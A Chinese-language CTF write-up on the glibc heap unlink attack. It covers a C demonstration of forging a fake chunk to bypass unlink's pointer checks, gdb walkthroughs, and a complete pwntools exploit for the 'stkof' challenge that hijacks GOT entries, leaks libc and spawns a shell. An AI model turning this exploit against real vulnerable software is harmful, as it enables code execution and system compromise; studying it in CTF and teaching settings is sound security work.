标签:lte deb png 存在 保护 == 绕过 html 开始
演示环境:ubuntu16.04、pwndbg
unlink技术原理参考链接:https://blog.csdn.net/qq_25201379/article/details/81545128;
chunk结构体知识:https://www.cnblogs.com/eur1ka/p/14463625.html;
unlink机制:
正常的 unlink 是当我们去 free 一个 chunk 的时候,如果这个 chunk 的前一个或后一个是 free 的状态,glibc 会把它从链表里面取出来,与现在要 free 的这个合并再放进去,取出来的这个过程就是 unlink
wiki 上面的一个示意图,Fd 是前置指针,Bk 是后置指针
ulink 有一个保护检查机制,他会检查这个 chunk 的前一个 chunk 的 bk 指针是不是指向这个 chunk(后一个也一样)我们需要绕过他的检查
检查点如下:
接下来我们进行一个漏洞演示:
代码如下
#include <unistd.h> #include <stdlib.h> #include <string.h> #include <stdio.h> struct chunk_structure { size_t prev_size; size_t size; struct chunk_structure *fd; struct chunk_structure *bk; char buf[10]; // padding }; int main() { unsigned long long *chunk1, *chunk2; struct chunk_structure *fake_chunk, *chunk2_hdr; char data[20]; // First grab two chunks (non fast) chunk1 = malloc(0x80); chunk2 = malloc(0x80); printf("%p\n", &chunk1); printf("%p\n", chunk1); printf("%p\n", chunk2); // Assuming attacker has control over chunk1‘s contents // Overflow the heap, override chunk2‘s header // First forge a fake chunk starting at chunk1 // Need to setup fd and bk pointers to pass the unlink security check fake_chunk = (struct chunk_structure *)chunk1; fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P // Next modify the header of chunk2 to pass all security checks chunk2_hdr = (struct chunk_structure *)(chunk2 - 2); chunk2_hdr->prev_size = 0x80; // chunk1‘s data region size chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit // Now, when chunk2 is freed, attacker‘s fake chunk is ‘unlinked‘ // This results in chunk1 pointer pointing to chunk1 - 3 // i.e. chunk1[3] now contains chunk1 itself. // We then make chunk1 point to some victim‘s data free(chunk2); printf("%p\n", chunk1); printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim‘s data"); // Overwrite victim‘s data using chunk1 chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0; }
gcc编译的时候添加-g参数
$ gcc demo.c -g -o demo
接着我们使用gdb进行调试(此处-q参数为省去一些不必要的信息,该参数可以忽略)
giantbranch@ubuntu:~/Desktop/heap/unlink$ gdb demo -q pwndbg: loaded 175 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from demo...done. pwndbg>
在主函数下断点
pwndbg> b main Breakpoint 1 at 0x40066e: file demo.c, line 14.
开始执行单步调试至第20行
我们可以看到接下来两行会通过malloc申请两个0x80内存大小的堆空间,并分别将堆块的men地址返回给chunk1和chunk2,并将其打印出来,我们接着执行:
我们可以看待栈空间中存在两个参数0x602010和0x6020a0这就是chunk1和chunk2的值,而其前面的值0x7fff...这些数据就是chunk1和chunk2存放的位置
在函数的第31行我们看到fake_chunk被赋值为chunk1的men,通过强制转换,将其强制转换为一个chunk结构体,通过这样就伪造了一个chunk此时堆空间如图所示:
接着我们看下构造fake_chunk前的堆情况:
接着执行下面几行内容:
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
之后又我们查看堆块:
这里可能有点蒙。再细看一下。32行和33行的代码主要是绕过检查点2的。保证P->fd->bk == P 以及 P->bk->fd == P,此时这里的P就是fake_chunk(之后会细解释为什么)。即fake_chunk->fd->bk == fake_chunk 和 fake_chunk->bk->fd == fake_chunk。
看图就知道:
fake_chunk->fd = 0x00007fffffffdf48,并且0x00007fffffffdf48是chunk_structure 结构体
fake_chunk->bk = 0x00007fffffffdf50,并且0x00007fffffffdf50是chunk_structure 结构体
我们来看一下fake_chunk→fd这个结构体:
这样我们绕过了检查点2,接着我们绕过检查点1(覆盖size和pre_size)
此时来分析下面这行代码。这里是chunk2而不是&chunk2。我们知道chunk2的地址是0x6020a0。并且是unsigned
long long类型。即占8字节,所以chunk2-2 = 0x6020a0-16 =
0x602090。并强制转换为chunk_structure结构体。赋值给chunk2_hdr。
接着我们看一下chunk2_hdr结构体:
下面这两句代码是绕过检查点1的。第一行是将chunk_hdr->prev_szie设置为0x80。第二行是将chunk_hdr->size的P位设置位0。这样就会以为上一个堆块是空闲状态并且大小是0x80。
运行后我们查看下改结构体:
我们看到我们将P标志位置为0,表面上一个chunk为空闲,如果free改堆块,则会将该堆块与前一个堆块进行合并操作也就是unlink,地址查找方式为当前chunk的mem地址减去当前chunk的prev_size。在本题,即chunk2的地址减去0x80。则是0x6020a0-0x80=0x602020。此时0x602020是fake_chunk2->fd。这样就发生了unlink,我们可以堆chunk1进行操作实现任意内存的读写,就像如下代码一样:
printf("%x\n", chunk1[3]); chunk1[3] = (unsigned long long)data; strcpy(data, "Victim‘s data"); chunk1[0] = 0x002164656b636168LL; printf("%s\n", data); return 0;
我们在继续执行前查看下chunk1
我们看到chunk1[3]为chunk1的地址,即chunk1[3]→chunk1
我们继续执行,发现可以通过改变chunk1来改写data的值。
至此演示结束,接下来进入到真实题目中进行实战。
题目示例:
先看下程序的基本信息
接着到IDA看下程序:
程序没有菜单,(图中是我们更改后的情况)运行的时候程序先让我们输入选项,1,2,3分别是create、edit、delete堆空间,我们接着看下更细节的内容
create函数:
这这个函数中,我们需要输入我们申请的内存空间,并且程序存在一个全局指针数组,指针指向堆空间的men区域,并且我们知道数组的起始地址位0x602140(由于是先++dword_6021000,所以通过计算可以得到这个地址)
edit函数:
程序进入该函数后会首先要求你输入需要输入的堆空间大小,此处通过get函数输入到内存中,会发生溢出。
delete函数:
该函数没有什么特别之处,就是free堆空间
程序还存在一个show函数,但是该函数没有完成
接下来,我们使用gdb进行动态调试
开始时程序会分配两块堆空间,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,其中第一块为fgets缓冲区大小为1024
接着我们创建堆块chunk1:0x20,查看堆内存空间
我们发现有存在一个新的缓冲区:printf缓冲区,之后我们再申请堆内存空间就是连续的了
紧接着我们再申请更多的内存空间chunk2(0x30)、chunk3(0x80),chunk3申请的区域不要再fastbin中,之后需要对其进行free操作,不在fastbin的堆块不会向前合并。
申请后我们查看下全局指针数组的数据:
pwndbg> x/10gx 0x602140 0x602140: 0x0000000000000000 0x0000000000e05420 0x602150: 0x0000000000e05850 0x0000000000e05870 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000000000 pwndbg> heap 0xe05000 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa30387830, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05410 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x411 } 0xe05430 PREV_INUSE { prev_size = 0, size = 1041, fd = 0xa4b4f, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0xe05840 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x21 } 0xe05860 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20781 } 0xe05880 PREV_INUSE { prev_size = 0, size = 132993, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
此时我们需要再chunk2构造fake_chunk来覆盖掉chunk3的首部,此时存放chunk2的指针位于global[2]则,
target=0x602140+0x10 fd = target - 0x18 bk = target - 0x10
payload1 = p64(0) + p64(0x30) + p64(fd) + p64(bk) + "a"*0x10 + p64(0x30) + p64(0x90)
edit(2,payload1)
接着我们gdb附加上去查看edit后的内存
我们看到了我们伪造的chunk,并且修改了标志位,所以我们再free(chunk3)时,chunk3会和我们的fake_chunk合并,接着执行
delete(3)
pause()
pwndbg> x/10gx 0x602140
0x602140: 0x0000000000000000 0x0000000001d8e020
0x602150: 0x0000000000602138 0x0000000000000000
0x602160: 0x0000000000000000 0x0000000000000000
0x602170: 0x0000000000000000 0x0000000000000000
0x602180: 0x0000000000000000 0x0000000000000000
我们在free吊chunk3后我们伪造的chunk和chunk3发生了合并,此时我们可以通过chunk2造成任意地址的改写,我们可以通过edit(chunk2)来进行改写global指针数组
free_got = elf.got["free"] puts_got = elf.got["puts"] atoi_got = elf.got["atoi"] puts_plt = elf.plt["puts"] payload = ‘a‘ * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got) edit(2, len(payload), payload) p.recvuntil("OK") pwndbg> x/10gx 0x602140-0x100x602130: 0x0000000000000000 0x6161616161616161 0x602140: 0x0000000000602018 0x0000000000602020 0x602150: 0x0000000000602088 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000
这样我们使得global[0]指向free函数,global[1]指向put函数,global[2]指向atio函数,我们可以通过edit(0)改变free函数,使其变为puts函数,并且输出puts函数的地址,再通过libc算出system函数的地址:
payload2 = p64(puts_plt) edit(0, len(payload2), payload2) time.sleep(1) p.recvuntil("OK") delete(1) p.recvuntil("FAIL\n") puts_addr = u64(p.recv(6) + ‘\x00\x00‘) print("puts address : 0x%x" % puts_addr)
这样我们泄露出了puts函数的地址,再次算出system的地址,接着我们通过edit(chunk3)来改写atio函数的地址为system的地址,
system_addr = libc_addr + libc.symbols["system"] binsh = libc_addr + libc.search("/bin/sh").next() log.info("Changing atoi@got --> system@got...") payload3 = p64(system_addr) edit(2, len(payload3) + 1, payload3)
接着我们回到循环,输入bin/sh即可完成getshell,完整的exp如下:
from pwn import *
import time
#context(log_level="DEBUG")
def create(size):
sh.sendline("1")
time.sleep(1)
sh.sendline(str(size))
def edit(index, length, content):
sh.sendline("2")
time.sleep(1)
sh.sendline(str(index))
time.sleep(1)
sh.sendline(str(length))
time.sleep(1)
sh.sendline(content)
def delete(index):
sh.sendline("3")
time.sleep(1)
sh.sendline(str(index))
libc = ELF("./libc.so.6")
elf = ELF("./stkof")
sh = process("./stkof")
print "pid" + str(proc.pidof(sh))
log.info("Creating chunk1, avoid stdout‘s buffer.")
create(0x100)
sh.recvuntil("OK")
time.sleep(1)
log.info("Creating chunk2...")
create(0x30)
sh.recvuntil("OK")
time.sleep(1)
log.info("Creating chunk3...")
create(0x80)
sh.recvuntil("OK")
time.sleep(1)
log.info("Creating fake chunk...")
payload = p64(0) + p64(0x30) + p64(0x602140 + 16 - 0x18) + p64(0x602140 + 16 - 0x10) + ‘a‘ * 0x10 + p64(0x30) + p64(0x90)
edit(2, len(payload), payload)
sh.recvuntil("OK")
time.sleep(1)
log.info("Now we have fake chunks, just free chunk3 to change global pointer...")
delete(3)
sh.recvuntil("OK")
time.sleep(1)
log.success("Global pointer has been changed!")
time.sleep(1)
log.info("Finding address in program...")
free_got = elf.got["free"]
puts_got = elf.got["puts"]
atoi_got = elf.got["atoi"]
puts_plt = elf.plt["puts"]
time.sleep(1)
log.success("free@got : 0x%x" % free_got)
log.success("puts@got : 0x%x" % puts_got)
log.success("atoi@got : 0x%x" % atoi_got)
log.success("puts@plt : 0x%x" % puts_plt)
time.sleep(1)
log.info("Overwriting global pointers...")
payload = ‘a‘ * 8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload), payload)
sh.recvuntil("OK")
log.success("Complete!")
time.sleep(1)
log.info("Changing free@got --> puts@plt...")
payload2 = p64(puts_plt)
edit(0, len(payload2), payload2)
time.sleep(1)
sh.recvuntil("OK")
log.info("Leaking address...")
delete(1)
sh.recvuntil("FAIL\n")
puts_addr = u64(sh.recv(6) + ‘\x00\x00‘)
print("puts address : 0x%x" % puts_addr)
time.sleep(1)
sh.recvuntil("OK")
log.info("Finding offset in libc...")
time.sleep(1)
puts_offset = libc.symbols["puts"]
log.success("atoi offset: 0x%x" % puts_offset)
time.sleep(1)
log.info("Calculating libc address...")
time.sleep(1)
libc_addr = puts_addr - puts_offset
log.success("Libc address: 0x%x" % libc_addr)
log.info("Calculating system & /bin/sh address...")
system_addr = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()
log.success("system address: 0x%x" % system_addr)
log.success("/bin/sh address: 0x%x" % binsh)
time.sleep(1)
log.info("Changing atoi@got --> system@got...")
payload3 = p64(system_addr)
edit(2, len(payload3) + 1, payload3)
time.sleep(1)
sh.recvuntil("OK")
log.info("Now atoi@got is system@got, so just pass the string ‘/bin/sh‘ to atoi")
log.info("Actually we called system(‘/bin/sh‘) !")
time.sleep(1)
pause()
sh.send(p64(binsh))
log.info("Ready in 5 seconds...")
log.success("PWN!!")
sh.sendline("1s")
sh.interactive()
标签:lte deb png 存在 保护 == 绕过 html 开始
原文地址:https://www.cnblogs.com/eur1ka/p/14518287.html